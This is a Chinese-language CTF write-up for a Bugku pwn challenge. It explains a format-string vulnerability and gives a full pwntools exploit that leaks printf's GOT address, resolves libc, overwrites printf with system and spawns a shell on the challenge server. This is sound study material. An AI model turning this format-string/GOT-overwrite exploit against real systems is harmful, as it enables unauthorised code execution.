思路
- 通过输出printf地址泄露libc
- 覆盖printf地址为system
- 输出/bin/sh
分析
检查安全措施,没有PIE和canary
[*] '/mnt/e/sec/bugku/pwn/repeater/pwn7'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
程序逻辑很简单,循环读buf,然后printf输出:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v4; // [esp+6Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("Do you know repeater?");
while ( 1 )
{
read(0, buf, 0x64u);
printf(buf); // fmt_str
putchar(10);
}
}
值得注意的是,noreturn,rop不好打。
这里直接打格式化字符串,因为没有PIE,可以直接泄露和覆盖got表。
泄露got表之后可以在libc.rip上查到对应libc,这里输入build id,pwntools会自动帮你下载相关符号数据。
具体看exp吧,关键处写了注释。
Expolit
from pwn import *
debug = False
local_path = './pwn7'
remote_path = '114.67.175.224'
remote_port = 13613
file = ELF(local_path)
# libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
# libc = file.libc
# ld = ELF('/usr/lib/x86_64-linux-gnu/ld-2.31.so')
context.binary = local_path
if debug:
io = process(local_path)
# context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
# context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
context.log_level = 'debug'
else:
io = remote(remote_path, remote_port)
def z(a=''):
if debug:
gdb.attach(io, a)
if a == '':
raw_input()
else:
pass
def exp():
printf_got = file.got['printf']
log.info("printf got: " + hex(printf_got))
# leak libc
payload = b"%8$s"
payload = payload.ljust(0x8, b'a')
payload += pack(printf_got)
io.recvline(b"Do you know repeater?")
io.send(payload)
printf_addr = unpack(io.recv(4))
io.recvline()
log.info("leak printf addr: " + hex(printf_addr))
# search on libc.rip and input
id = input("input build id>")
libcname = libcdb.search_by_build_id(id)
libc = ELF(libcname)
libc_base = printf_addr - libc.sym['printf']
log.info("leak libc base: " + hex(libc_base))
system_addr = libc_base + libc.sym['system']
log.info("leak system addr: " + hex(system_addr))
# overwrite printf got to system
payload = pack(printf_got) + pack(printf_got + 1) + pack(printf_got + 2)
pad = len(payload)
A = (system_addr - pad) & 0xff
B = (system_addr // 0x100 - A - pad) & 0xff
C = (system_addr // 0x10000 - A - B - pad) & 0xff
payload += f"%{A}c%6$hhn%{B}c%7$hhn%{C}c%8$hhn".encode()
io.send(payload)
io.recvline()
# printf(b"/bin/sh\0") => system(b"/bin/sh\0")
payload = b"/bin/sh\0"
io.send(payload)
io.interactive()
if __name__ == '__main__':
exp()
总结
- 使用格式化字符串覆盖地址时,可以考虑把地址放在前面,避免使用%c输出时读过多字符,读到不可读地址引发段错误。